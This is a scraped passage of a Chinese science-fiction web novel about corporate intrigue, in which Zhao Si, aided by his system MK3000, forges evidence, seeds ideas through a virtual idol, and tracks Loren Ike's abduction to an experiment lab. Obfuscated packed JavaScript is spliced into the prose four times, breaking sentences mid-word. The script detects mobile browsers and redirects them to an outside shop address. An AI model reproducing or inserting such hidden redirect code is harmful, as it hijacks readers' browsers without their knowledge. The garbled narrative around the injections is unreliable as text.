赵四不再多言,通过内部加密网络,将那份(自己和MK3000连熬几个大夜才伪造好的)《“新世界诞生计划”原始附录:最终指令协议详析(部分)》发给了在场所有人一份。 “这是我近期在旧研究所的废墟深处,找到的计划书原始附录的一部分。” 赵四的声音平稳,为这份恰到好处出现的证据赋予了合理的来源。 “里面详细记录了这条‘最终指令’的部分结构、触发逻辑,以及……最重要的——” 他目光扫过迅速浏览文件的众人,最终定格在林琳骤然亮起的专注眼神上。 “——它并非浑然天成。它由模块构成,存在理论上的逆向工程与覆盖可能。” 赵四的意思表达的很清楚了,他的病不是绝症,而是一个需要被破解和重写的恶意程序。 赛琳娜从文件中抬起头,眉头紧锁,忽然想起了什么,迟疑地开口: “那……洛伦·艾克呢?他……” 赵四既然和MK3000编出了这样的说法,对洛伦当然也是有安排的。 “洛伦是备用的启动钥匙,他体内潜伏着和我类似的协议片段,但其激活阈值远高于我。 “只要我还活着,我体内的‘主协议’会持续释放一种抑制信号,将他体内的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111392|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘副本’压制在一个稳定且无害的范围内。” 当然了,事实并非如此。 房馥臻和洛伦那真就是基因病,除了房馥臻本人能搞定之外,没人有解法。 哪怕背靠系统商城,赵四也只是勉强卡到BUG缓了口气而已。 时间回溯到赵四走出基因密室、与系统连夜密谋如何包装真相的那个晚上。 【计划很好,但有个核心问题,房馥臻这个‘绝症’,要怎么才能让它看起来像是一段‘可被破解的程序’?】 赵四接下来要面对的那群人,可没一个是好糊弄的。 光靠嘴说不行,得有能经得起推敲的‘证据链’和技术解释。 MK3000:【最直接的方法,找房馥臻本人来研究解药?】 病要是真能治好,赵四想把它伪装成什么,那它就是什么。 赵四:【……你认真的吗,房馥臻不是得任务完成之后才能回来?现在让我上哪儿去捞他?】 MK3000:【那就先完成任务。】 赵四:【不先把这个‘病是程序’这个核心设定……咳,这个‘技术解释’给圆上,我怎么取得他们的信任去完成任务?】 MK3000逻辑闭环:【那就先找房馥臻研究解药。】 赵四悟了。 【三儿,你在这儿跟我玩‘先有鸡还是先有蛋’的人机鬼打墙呢?】 这根本就是个无解的死循环,绕进去就别想出来。 MK3000装模作样的咳嗽了一下,慢吞吞道: 【谁让‘房馥臻’这个人设确实是个百年难遇的鬼才呢?他掌握的某些核心‘技能’具有高度的个人专属性,非他不可。你嘛……你当然也优秀,但是你没点亮相关技能树啊。】 听着MK3000那特意点出来的“人设”和“技能”两个词,赵四脑袋上亮起了一盏灯泡。 【挺好的,我懂了——三儿,开商城!】 逻辑的链条瞬间被打通,变得清晰而合理。 房馥臻既然有能力研究出治愈自身的方法(至少在理论上确实如此),那就证明研究出解药这个事在房馥臻的能力范畴内。 而现在,赵四就是“房馥臻”。 身为“房馥臻”,却因为缺乏某项关键的“个人专长”而无法推进自救和任务,这严重影响了任务合理进行。 那么,在这种情况下,为了合理推进任务,“房馥臻”要努力研究(通过兑换)治疗自己,来作为破局的起点—— 这难道不是非常合理且符合任务逻辑的操作吗? 多么完美的擦边球! 这又不是开超出世界观的挂,这只能算是贷款未来潜力,解决当下问题! 打开系统商城,果然,部分原本灰色的物品或知识类兑换项,因为赵四当前“房馥臻”身份的权限与潜在能力认证,亮起了可购买或可部分解锁的微光。 当然,由于房馥臻本人的研究并未真正完成,商城也无法提供一步到位的完全治愈方案。 但是,兑换一些缓解症状、模拟出“程序被部分抑制或改写”效果的药剂,以及部分基因编辑程序的理论碎片,却是完全可行的。 这才有了此时此刻,赵四那份看似波澜不惊的处事底气。 那股自赵四抛出“真相”起便一直沉甸甸压在所有人心头的、近乎绝望的凝滞空气,仿佛被一只无形的手骤然拨开了一道缝隙。 凝重的沉默被打破,细微的、带着急切与希望的讨论声开始蔓延。 几个对生物技术和基因工程涉猎较深的“家人”已经被其他人围住,低声而迅速地追问着文件附录中那些复杂术语背后可能蕴含的操作路径。 赵四在意识深处,与MK3000完成了一次无声的、默契的虚拟击掌。 第一关顺利过关。 他们可以开始下一步计划了。 29.第29章 他心悖论29 中城区的虚拟偶像,更新换代了。 一个叫“星织”的虚拟偶像,沿着中城区的公共交通网络,病毒式地大肆铺开。 悬浮列车的车窗、站台的巨幅光幕、便利店收银台旁的微型投影、甚至公共饮水器上方的狭小屏幕…… 不管人们在做什么,总能在某个不经意的余光角落,瞥见那个乘坐在一弯新月上的少女。 女孩穿着缀满星屑般光点的纱质长裙,笑容清甜而活泼,身后是流动的、仿佛由数据星河构成的背景。 四方科技和穹顶娱乐的标记,在每一处广告的右下角,以恰到好处的尺寸和亮度,无声宣告着这次合作的重量与权威。 两个穿着标准中产职员制服的路人,在等车间隙驻足欣赏了片刻光幕上循环播放的精致画面。 “啧,四方科技这次下血本了。” 左边的男人如此评价着星织,语气说不上是感慨还是讥诮。 “到处都是他们家这新‘代言人’的广告。听说穹顶娱乐那边也投入了顶级资源,势必要把这‘星织’捧成季度现象。” 右边的女人拢了拢被空调风吹乱的短发,闻言撇了撇嘴。 “说是要配合推广什么‘个性化健康管理’新概念,这是要挽回点面子吧?毕竟听说前阵子又是议会质询,又是民间团体抗议的,闹得不太好看。 “哦,对了,他们最近还在好几个街区搞了大规模的免费基础基因筛查和义诊,架势挺足。” “作秀罢了。”男人不以为然,“砸钱、造势,这一系列动作下来,最后还不是落到他们那些天价的医疗服务上。” “也是。” 女人点点头,这话题就算过去了。 对他们这些中城区的普通职员而言,上层巨头的游戏规则模糊而遥远。 焦虑属于下城区,真正的抉择属于上城区,而他们既不必太焦虑,也不必烦心权利更迭。 他们更关心的是下一班车什么时候来,以及本月绩效能否达标,这才是生活。 悬浮列车进站的提示音响起,两人随着人流向前移动。 旁边一个年轻人正低着头,用个人终端外放看着“星织”的一个官方访谈短片。 他没开防窥模式,只是把音量调得很低。 细微的电子音流淌出来,路过的眼镜男和女伴下意识地扫过去一眼。 屏幕上,“星织”正用她那无可挑剔的甜美嗓音说着什么,大概又是关于梦想、音乐、以及和四方科技合作的“荣幸”之类的话。 画面精美,言辞标准……毫无新意。 两人收回目光,随着人群涌入车厢。 将那个轻声播放的访谈,连同“星织”完美无瑕的笑容,一起留在了站台逐渐关闭的门外。 他们没听到的是,就在那短片接近尾声的几秒钟,“星织”对着虚拟主持人,用略带好奇和向往的语气,说了这样一段话: “……所以我觉得,最酷的技术,也许不是把一切都做到‘完美’和‘统一’哦。就像星空,如果每一颗星星都一样亮、一样颜色,反而会失去魅力吧? “也许,能让不同的‘星星’按照自己的节奏发光,又能彼此‘看见’和‘呼应’的技术,才会创造出真正动人的‘夜空’呢!这只是我一点点不成熟的小想法啦~” 话音落下,她俏皮地吐了吐舌头,画面立刻切入了四方科技和穹顶娱乐的联合标识,以及“携手共创美好未来”的标语。 短片结束。 年轻人关掉视频,脸上没什么特别的表情。 他只是觉得这个虚拟偶像的比喻有点意思,比那些只会喊口号的有灵性一点。 收起终端,年轻人也踏上了回家的列车。 成千上万类似的场景,在中城区各处无声上演。 “星织”的形象和话语,如同极细的尘埃,弥漫在空气里。 大多数人吸入它,毫无知觉,或仅留下一个“挺好看”、“有点新意”的模糊印象。 只有极少数心弦恰好被那“不一样的星星”比喻轻轻拨动的人,会在某个独处的瞬间,莫名想起这句话。 然后看向窗外喧杂的城市,心底泛起一丝疑问。 真正的“星空”,是什么样子的? 而在穹顶娱乐的监控后台,数据流平稳运行。 “星织”的言论经过层层审核,没有任何敏感词,甚至因其“独特性”和“诗意”而受到好评,认为有助于塑造偶像的“智慧”与“亲近感”人设。 所有关于“星星”、“发光”、“呼应”的表述,都被安全地诠释为对“个性化健康管理”概念的文艺化表达,以及对未来科技包容性的美好展望。 无人知晓,这些看似柔软而无害的话语中,包含着一点点不足为道的火光。 这份星火的目的不是要立刻改变什么,而是悄悄标记尽可能多的人,为将来可能会到来的那天,吸引更多的同路人。 列车远去,站台光幕上的“星织”依旧在甜美微笑。 中城区的日常,在商业偶像的更迭与巨头公关的涟漪中,一如既往地向前滚动。 四方科技顶层,赵四划过穹顶娱乐发来的加密简报。 数据流显示着“星织”的各项指标——曝光量、讨论热度、情感分析、品牌关联度…… 一切都符合预期,甚至略有超过。 他目光平静,没有多做停留,将那份电子报告归入了左手边已堆积如山的虚拟文件堆中。 如果此刻有外人能窥见这堆文件的标题,定会感到困惑。 这里本该是尖端基因图谱、神经接驳协议、义体市场分析报告的领地,如今却充斥着《下城区新兴地下艺术形式传播模型》、《前文明文本再诠释与当代受众接受度调研》、《上城区高雅艺术消费群体意识形态光谱分析》这样的文件。 这些东西更适合出现在穹顶娱乐的办公室,而不是以理性为代表的四方科技大老板的案头。 轻微的叩门声打断了静默。 赛琳娜走了进来,脸上带着一种混合了完成任务的如释重负与触及隐秘的复杂神色。 她没有使用便捷的终端传输,而是将一份薄薄的、没有任何电子标识的纸质文件,轻轻放在赵四面前的桌上。 “辛苦了。”赵四颔首,拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116487|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文件。 纸张特有的微涩触感传来,代表着其内容的绝对敏感与隔离。 赛琳娜安静地站在桌前,双手交握,指尖微微用力。 她显然在等待赵四看完文件。 赵四垂下目光,迅速浏览。 文件内容指向一个名字:斯特林。 这是一段尘封的过往,简述了斯特林年轻时与房律、以及环宇集团掌舵人卡斯珀·艾克之间纠缠不清的旧事。 他合上文件,指尖无意识地在桌面上另一份摊开的《与下城区地下诊所初步合作意向备忘录》边缘轻轻一划。 “说说看,”他抬起眼,看向赛琳娜,语气平稳,“具体查到了什么?” 还能怎么具体?无非是些陈年旧事,爱恨情仇。 赛琳娜深吸一口气,尽量剥离个人情绪,用客观到近乎冷酷的语调,更细致的复述了调查结果。 这是一段始于学术圈的三角关系,最终以斯特林选择卡斯珀·艾克、房律黯然远走四方科技而告终。 故事简单,但其间的情感与利益纠葛,却为今日的格局埋下了伏笔。 一同旁听的MK3000没忍住,吐槽道:【所以当年的核心矛盾是——房律与卡斯珀·艾克争夺斯特林,结果房律情场败北,愤而化悲愤为事业动力,开始不干人事试图证明自己比情敌强?这剧情也太狗血了吧。】 赵四没忍住捏了捏眉心。 他知道系统多半是在用这种方式调剂过于沉重的信息氛围,毕竟他们共享着一个明确的认知: 卡斯珀·艾克。 这个名字意味着环宇集团的最高权柄,也意味着洛伦·艾克的生父。 卡斯珀和斯特林是什么性格,目前还不好说。 但赵四和MK3000都清楚,对于房律那样的人来说,爱情或许曾是其生命中的一抹亮色,但绝对不可能成为阻碍其野心的绊脚石。 将房律后续所有的疯狂之举,简单归因于一场失败的情场角逐,未免太过低估了那份欲望的复杂性。 已知斯特林是卡斯珀·艾克的合法妻子,而房馥臻与现在的洛伦·艾克,都是根据最初那个“真洛伦”的基因样本培育出的克隆体。 那么,按照这个逻辑链推演下去—— 房馥臻和斯特林是什么关系? MK3000还真回答了一下赵四的问题。 【按血统来源说,应该是母子?那发照片的人也算说对一半。】 斯特林确实能算是“母亲”,但是那个野爹真不是房律,而是卡斯珀·艾克。 赵四对老一辈爱来爱去的不感兴趣,无论那是酿成了悲剧的苦酒,还是催生了野心的毒药,都是属于那些当事人的过往。 真正的清算与和解,或许只能等房馥臻本尊来。 至于赵四,他现在只想知道一件事。 “斯特林本人,”他看向赛琳娜,“她知道‘我’是谁吗?具体知道到什么程度?” 这直接决定了斯特林在其间扮演的角色。 她究竟是某个阴谋深藏的知情者与参与者,还是一个被隐瞒、欺骗了数十年的悲剧人物? 30.第30章 他心悖论30 赛琳娜的迟疑显而易见。 她先是轻轻摇头,随即又缓缓颔首,眉宇间凝聚着斟酌之色。 “根据多里安那边的人接触后带回的详细反馈分析,斯特林女士对您的身世表现出了一种远超常规的关注。她在交谈中透露的某些信息,表明她对旧事并非一无所知。但是……” 斯特林知道的那部分究竟是掌握了确凿证据,还是仅仅基于某些线索而产生的推测与联想,目前谁都无法给出一个确定结论。 赵四直接问道:“多里安的看法是?” “多里安认为,斯特林女士目前很可能处于一种‘不确定的怀疑’状态。 这具体体现在她对所有接近实验室乃至诊所的外人,都存在一种本能的试探和求证行为,仿佛在寻找什么,又或是想确认什么。” 不确定的怀疑…… 这是一个很不稳定的信号。 这种怀疑,在计划推进的过程中,往往比明确的敌意或善意更棘手。 赵四的目光再次落回那份《合作备忘录》。 这次的试点对象并不只有斯特林所在的蝰蛇。 事实上,赵四指派多里安接触的,是经过初步筛选后,基本能确定有各大集团背景的多个下城区地下黑诊所。 这次行动,其实是针对技术壁垒的有限度松动试探。 必须承认,绝大多数此类地下诊所绝非善类,它们游走在法律与伦理的边缘。 但另一方面,新世界尖端技术被垄断的现象也实在过于严重,近乎铁板一块。 如果想从根本上撼动这种格局,除了经济和文化层面的布局,有计划、分步骤地进行“可控技术公开化”,几乎是无法绕开的必经阶段。 但技术公开也得有相应的学科人才基础啊! 四方科技倒是愿意共享知识了,结果外界没人能看懂算是怎么回事? 这算四方科技的一厢情愿吗。 更严峻的是,时间并不站在他们这边。 从零开始系统化培养学者和工程师,周期漫长,根本就是远水难救近火。 在与MK3000反复筛选与评估后,赵四发现许多地下黑诊所的技术骨干中,竟然藏龙卧虎。 他们进一步追溯这些人的背景与资金来源,更是惊喜地发现,其中有不少人都和其他几个大集团有藕断丝连的隐秘关系。 这是什么,天下苦四方科技久矣? MK3000对此评价道:【准确来说,虽然明面上各大集团业务泾渭分明,互不干涉,但暗地里,各家多多少少都会在其他领域布局一些‘备胎’人才和技术储备,以备不时之需或作为谈判筹码。】 就像四方科技自身,也拥有着不对外公开的、位于下城区的精密武器研发与生产线。 基于下城区混乱而监管薄弱的独特生态,这些见不得光的备胎产业与技术试验田,大多选择在此扎根。 赵四几乎要为此鼓掌:【多好的试验田啊。】 与这些背景各异的诊所进行接触,既可以试探各大集团对技术壁垒松动的潜在容忍度与反弹底线,又能在接触中观察、划定某些内部派系在面对此问题时的真实立场与力量对比。 而且赵四早已准备了数套应急预案,即便未来某些接触点“东窗事发”,多里安那边也能依据预案迅速切割,保全核心。 计划原本推进顺利,开局堪称良好,各条线反馈都符合预期。 然而,问题偏偏出在了环宇这条线上。 更具体地说,出在了斯特林身上。 对其他集团的试探并未引发过激反应,唯独与斯特林相关的“蝰蛇”诊所。 因其背后牵扯出的复杂历史与情感纠葛,瞬间将环宇与四方科技的关系,拉入了一个充满历史恩怨与复杂情感纠葛的新频道。 感情问题向来最复杂,也最不可控。 赵四蹙眉凝思片刻,终究还是忍不住转过头,对着星织的形象洗了洗眼睛和脑子。 【还是穹顶娱乐好。】赵四感叹,【关系多纯粹,一切只朝流量和收益看齐。】 环宇这边怎么就不能学学人家那股清爽的商业作风。 MK3000点头:【拉穹顶娱乐下水,可比拉环宇集团容易多了,对吧?】 【注意你的用词,】赵四故作正经,【我们这是基于共同的愿景,寻找可靠的、具有前瞻性的战略同盟伙伴。】 【该项合作旨在携手开拓更具包容性和增长潜力的未来市场,实现长远的互利共赢——这怎么能叫‘拖下水’?】 他只是在两家倾力合作的虚拟偶像“星织”身上,植入了一点点精心包裹的“理念种子”罢了。 这些种子此刻安静地潜伏在流行文化的甜美糖衣之下,甚至为这位偶像平添了具有“思想深度”的独特魅力。 但未来的某一天,当这些深植于最广泛受众日常娱乐中的“框架”被某种方式精准触发、彼此串联、最终引爆时…… 其产生的连锁反应与思想共振,将足以撼动新世界某些被视为理所当然的运转根基。 穹顶娱乐本代的当家人一向奉行“闷声发大财”的原则,尽量避免卷入核心权力斗争。 此次与四方科技的合作,很大程度上也是赵四用真金白银和庞大资源砸出来的结果。 可到了那时,当新思潮的巨浪以其平台为起源地席卷而来时,作为“现象”的缔造者与最大受益者(受害者)—— 穹顶娱乐还能继续安然地置身事外吗? 他们将不得不以一种无法轻易切割的方式,被牢牢绑定在赵四所驱动的战车之上。 朋友当然是越多越好。 尤其当这些“朋友”,在不自知的情况下,已然成为未来棋局中不可或缺的一部分的时候,那就是好上加好。 至于环宇那边…… 赵四收敛了唇边那抹微不可察的弧度,眼神重新变得沉静而锐利。 【看来,是时候安排一次会面,和那位小少爷,当面好好谈一谈了。】 然而,赵四未能如愿见到洛伦·艾克。 这并非因为对方拒绝会面,而是因为这位环宇集团的小少爷……失踪了。 联系居安新后,赵四才得知,洛伦在与居安新发生了一次激烈争吵后,于返回住所的途中失去了踪影。 环宇方面虽未大张旗鼓,但私下搜寻已然展开。 赵四脑子里顷刻间转过了十几个阴谋剧本, 然而,不等他深想,通讯那头的居安新却用一种混合着痛楚、自嘲与某种近乎偏执的笃定语气,说出了堪称经典的发言。 “洛伦在躲我,他知道我看穿了他的病……也看穿了他用骄傲筑起的高墙。 “他不信我——不信我能接住他的一切,不信我能与他共同面对。所以他选择了最愚蠢的方式,逃走了,以为这样就能把我推开。 “这一切都太可笑了……呵,他越藏,我越要把他从壳里剥出来——直到他无处可躲,只能看着我,只能属于我。” 赵四:“……” 很好。 频道瞬间从波谲云诡的权谋线,无缝切换到了虐恋情深、他逃他追的情感线。 在周围环绕着非法人体实验、基因秘密、历史恩怨和集团倾轧的当下,居安新还能保持如此纯粹的心灵,某种程度上也十分让人惊叹。 作为一位合格的医生朋友,赵四不该质疑大总裁的情感逻辑。 他合上文件,转过椅子面对上城区永恒不变的云海。 在休息一下眼睛的同时,赵四用方复秦的语气说道:“加油吧,居大总裁。感情的事……有时候确实需要一点决心和坚持。” 安慰完这位和现状格格不入的朋友,赵四打开个人终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122364|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端联系苏珊。 【洛伦·艾克失踪了,查查实时行踪与动向。】 苏珊的回信来的非常快。 【约一小时前,斯特林女士启用了一条此前未被记录的隐蔽通道,将洛伦·艾克接引并转移至‘蝰蛇’诊所地下核心区域。 该行动极为隐秘,我方监控人员动用了特殊侦测手段,才捕捉到此次转移痕迹。】 赵四读完邮件,关闭了终端界面。 这个不稳定的变量……引爆得比他预想的还要快。 ——不过,地点倒选得不错。 MK3000已经调出了蝰蛇地下研究所的监控。 它操作着某个分屏放大:【洛伦的状态还不错,看着不像是被强制带入或处于危险境地。】 赵四:【就是不知道这份状态是对亲生母亲毫无保留的信任,还是一切都尽在掌握的从容了。】 MK3000:【现在怎么办?直接介入?】 赵四转了转椅子,最后决定道:【先看看再说。】 ………… 地下研究所,某间休息室内。 洛伦·艾克好奇地打量着周围。 这是他第一次踏入母亲真正意义上的工作场所——至少,是母亲允许他看到的这一部分。 两天前,按预定好的计划,洛伦和居安新吵了一架。 吵完之后,在返回住处的途中,他接到了母亲斯特林女士的通讯。 母亲的声音带着久违的的柔和,邀请他去她目前的居所小聚。 斯特林女士和卡斯珀先生分居多年,并不住在一起。 这也使得洛伦与母亲见面的机会变得稀少而珍贵。 每一次见面,他都隐隐感觉到母亲看他的眼神有些微妙的变化。 那些变化带来的是难以言喻的疏离感,他试图询问过,却没有得到回答。 最终只能将其归咎于漫长的时间与空间距离所催生的陌生。 但这次似乎有些不同。 母亲仿佛短暂地变回了洛伦童年记忆里的模样,亲自下厨做了几道他印象中喜欢的菜肴,温柔地询问他近况。 洛伦想了想,告诉了母亲自己和居安新的最新进展。 说到这次争吵,他难得有些苦恼。 “我对他的掌控……好像有点失控了。” 不知从何时起,在斯特林女士面前承认任何形式的“失败”或“不足”,都会让他感到一种隐晦的难堪。 此刻,洛伦跪坐在地毯上,俯下身趴伏在母亲的膝头。 明明是在说自己的事,他却有些走神。 ——很久以前,他好像也是这样,在妈妈膝上毫无顾忌地撒娇……不,好像又没有。 真的过了太久了,他不记得了。 口中的话语未曾停下,声音却变得轻飘,仿佛自言自语。 “……居安新最近在试图更深入地了解我的一切,有时候我会觉得……那些我本应牢牢控制住的感情,在不断满溢出来,流向不该流向的地方。 “妈妈,我做的这些事……对您来说,真的还有用吗?” 还是说……我已经搞砸了? 他听见斯特林女士笑了一声。 “好孩子,你太累了。” 一只温暖的手轻轻落在了他的头顶,动作缓慢地梳理着他的微卷的浅金色头发。 一下一下,又一下。 “这两天就在妈妈这里好好休息。之后……我带你去我工作的地方看看,换换心情好不好?” “好……” 洛伦无意识地应声,眼睛在慢慢闭上, 在这一刻,他感觉自己仿佛被包裹进了一罐粘稠而甜美的蜂蜜之中。 温暖、安全、与世隔绝。 他满足地、几乎是欣悦地,任由自己如同孩童一般,在母亲的膝上沉沉睡去。 31.第31章 他心悖论31 这一觉,是洛伦近些年来睡得最沉、最安稳的一觉。 醒来后,他恍惚间仿佛回到了童年。 母亲斯特林女士当真变回了记忆里那个对他温柔备至、几乎无有不应的模样。 他的母亲是这样好,温柔、可靠,仿佛无所不能。 短短两日时光流逝得飞快,快得让他心生不舍。 当斯特林女士轻声提议带他去研究所看看时,洛伦心底竟涌起一股孩子气的不情愿。 “母亲……不要去,好不好?” 斯特林女士站在不远处,闻言只是温柔地笑了笑,像在哄一个不懂事的孩子。 “在说什么可爱话呢,妈妈已经翘班很久了哦。再不去工作,拿什么来养我们的小洛伦呀?不可以这么任性。” 不要去啊,母亲。 我可以养你。 我已经能养你了。 你只要……只要一直这样看着我,给我更多的、只属于我的爱,我就愿意给你一切。 他狠狠咬住了自己的下唇,牙齿叼起一片微翘的死皮,在齿间反复研磨。 那几乎冲口而出的话语被死死堵了回去。 一丝腥甜的滋味在口腔中弥漫开来。 他听见自己的声音响起,话语间带着乖巧与讨好:“好啊,那我们走吧。” 他们换好外出的衣物,一同走出居所。 洛伦不自觉地伸手,轻轻拉住了母亲衣袍的一角,像儿时那样,亦步亦趋地跟在她身后。 周围的环境渐渐变得奇异。 参天的巨木撑开浓绿如华盖的树冠,粗壮的藤蔓缠绕着树干,又彼此纠缠着披垂下来,时不时扫过洛伦来不及躲避的头顶。 斯特林回头看见,没有责备,只是温柔地牵起他的手,换了一条路走。 新的路途需要跳下隐藏在茂盛草丛中的兔子洞。 洞内出人意料地干燥而舒适,弥漫着清甜的草叶香气。 洛伦跟着母亲深一脚浅一脚地前行,脑海中蓦然浮现幼时母亲在床头为他讲述的童话故事。 他忍不住笑了起来,声音在通道里带着回响:“妈妈,我们好像爱丽丝。我现在也像是在梦里,正跟着你漫游仙境呢,对吗?” 斯特林女士没有回答,只是再次伸手,温柔地揉了揉他的头发。 啊,好温暖。 洛伦几乎沉溺在这份暖意中。 他想,即便下一刻就要被童话里的红心王后下令砍掉脑袋,在这样的温暖包裹下,他大概也是心甘情愿的吧。 兔子洞的尽头,几个扑克牌模样的人为他们打开了门。 他们立刻叽叽喳喳地围了上来,簇拥着斯特林和洛伦向深处走去。 “王后(斯特林女士),您终于回来了!” “您的游戏场已经准备妥当,但是……和您一同前来的‘爱丽丝’似乎还没有完全准备好呢?(实验场已就绪,不过,您确定要用小少爷本人吗?)” “蠢货!爱丽丝这不已经在这里了吗!王后恕罪,这是个不懂事的笨蛋。(小少爷自己都没反对,你多什么嘴!斯特林女士,抱歉,他话太多了。)” 奇怪的称谓和有些混乱的话语让洛伦的头有点疼,他听不太懂这些,只好扭头看别的。 母亲工作的地方果然很特别。 这里有特别的同事,以及如同童话城堡般精美却又透着些怪异的内部陈设。 斯特林女士似乎很忙。她将洛伦带进一间布置温馨舒适的休息室,柔声嘱咐他在这里乖乖等她一会儿,她去处理一些事情,很快就回来。 洛伦顺从地点点头。 在柔软的座椅上坐下,他目送着母亲在那群扑克牌同事的环绕下离开。 他好奇地环顾四周。 这是他第一次踏入母亲真正意义上的工作核心区域——至少,是母亲主动向他敞开、允许他看到的部分。 这是否意味着,母亲正在逐渐向他展露更真实的自己,正在……接纳他进入她的世界? 啊,接纳……? 这个念头甫一浮现,洛伦便感到一阵莫名的违和。 他是母亲的孩子,母亲一直对他很好,为什么要用“接纳”这个词? 仿佛他们之间……曾有过隔阂一般。 他蹙起眉头,抬手用力按压着突然突突跳动的太阳穴。 额角的青筋在皮肤下不安地搏动,一股熟悉的、仿佛要将头颅撕裂般的剧痛猛地袭来。 这从几天前就开始间歇发作的头痛,究竟是…… ………… 监控画面另一端。 赵四连喝了几口水压惊。 刚刚他快速扫了一遍蝰蛇地下研究所其他区域的监控。 看到那些已经就绪的试验设备,再结合研究员们交谈中泄露的只言片语,他几乎可以断定—— 这群人要拿洛伦做一些存活率未知的、非人道的活体实验。 切回洛伦所在的休息室画面,看着那位小少爷此刻乖巧又茫然的表情,他实在没忍住。 【斯特林反应挺快啊,这是感觉到最近不对劲,所以想放手一搏了? 而且……洛伦这么配合的吗,这不太对劲吧?】 MK3000:【显然,斯特林女士应该对他施加了某种影响。】 可能是药物,也可能是心理暗示,或者两者兼有。 系统适时调出并快进了之前一段监控: 画面中的洛伦突然抱住头,脸色煞白,身体因剧痛而微微痉挛。 但片刻后,随着疑似斯特林的声音通过隐藏通讯器响起(监控未能收录具体内容),他的痛苦迅速缓解,眼神再次变得空茫而温顺。 看完这段,赵四长长地舒了一口气。 哦,是被动手脚了啊,他还以为洛伦突然傻了呢。 短暂思索后,赵四切换回“方复秦”的个人终端页面。 他指尖飞快地编辑了一条信息,发送给居安新。 【已查到洛伦线索,情况复杂,涉及斯特林女士。目前无法确定环宇其他人(包括卡斯珀先生)是否知情或默许。如果你决定介入,我的建议是最好动用私人力量,避免激化环宇内部矛盾。 另:大致坐标已在附录标明。】 MK3000:【嚯。这么直白?不怕居安新怀疑你这消息来源有问题,或者别有所图?】 【怀疑?】 赵四笑出声。 他这根本就是演都不演了,怀疑才是正常的。 但是,就算居安新怀疑,现在也根本没时间和精力去求证。 他只能选择相信,至少是暂时利用这条线索。 一切疑虑和可能的后续,都得等到他把人安全带出来之后。 而那时候…… 【等他把洛伦救出来,弄清楚发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128575|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生了什么,这对苦命鸳鸯就该主动来找我了。】 那时候,才是真正开诚布公谈话的好时机。 赵四算是看清楚了,这俩说不准是真爱。 把居安新和洛伦放在一起处理,或许能产生一些意想不到的“化学反应”。 现在嘛,先给斯特林女士导演的这场“温馨家庭回归剧”,送去一位足够份量的“不速之客”再说。 【这样够吗?】 MK3000问,【居安新的私人力量未必能对抗斯特林在这里的经营。】 【当然不够。】 赵四切换画面,调出另一份档案。 【所以,我们还需要一位有点分量,且立场微妙、动机复杂的‘见证者’的见证者。】 档案照片上是一位面容严肃、眉头深锁的中年男子,岁月在他脸上刻下严谨而略显刻板的纹路。 邓肯。 卡斯珀·艾克的大学同学,同时也是房律与斯特林的学长。 目前在四方科技总部担任“对议会事务部副部长”一职。 这个职位听起来唬人,实则权限有限。 更多是房馥臻当初为了安抚房律留下的、背景相对干净的旧部而设置的闲职。 然而根据苏珊和赛琳娜的深入排查,这位邓肯先生可不清白。 他极有可能就是之前向赛琳娜发旧照片,试图干点什么的神秘人。 【这个人选很不错,对过去的恩怨半知半解,对现在的真实局势一无所知,却自以为自己才是那个守着旧秘密的守秘人…… 你猜,他有没有在暗中关注着所有与房律有关的人和事?】 尤其是居安新? MK3000:【不猜,他有。】 只要确定人选,查个人对系统来说那都不是事。 明面上他与房律及居安新毫无瓜葛,这也让他成功躲过了‘房馥臻’早期的内部清理。 但现在MK3000一查就知道,他长期以隐秘方式关注着房律有关的人和事,并与环宇集团内部(主要是卡斯珀派系)保持着若即若离的联络。 赵四满意地点头。 这人简直是去搅浑水的天选之人。 他愉快地敲下邮件,通过多重加密的渠道同时发出数条指令。 一方面,将“居安新正紧急调动核心私人力量,目标疑似指向下城区某敏感坐标”这一经过模糊处理却足以引发联想的信息,自然地泄露到邓肯的视线内; 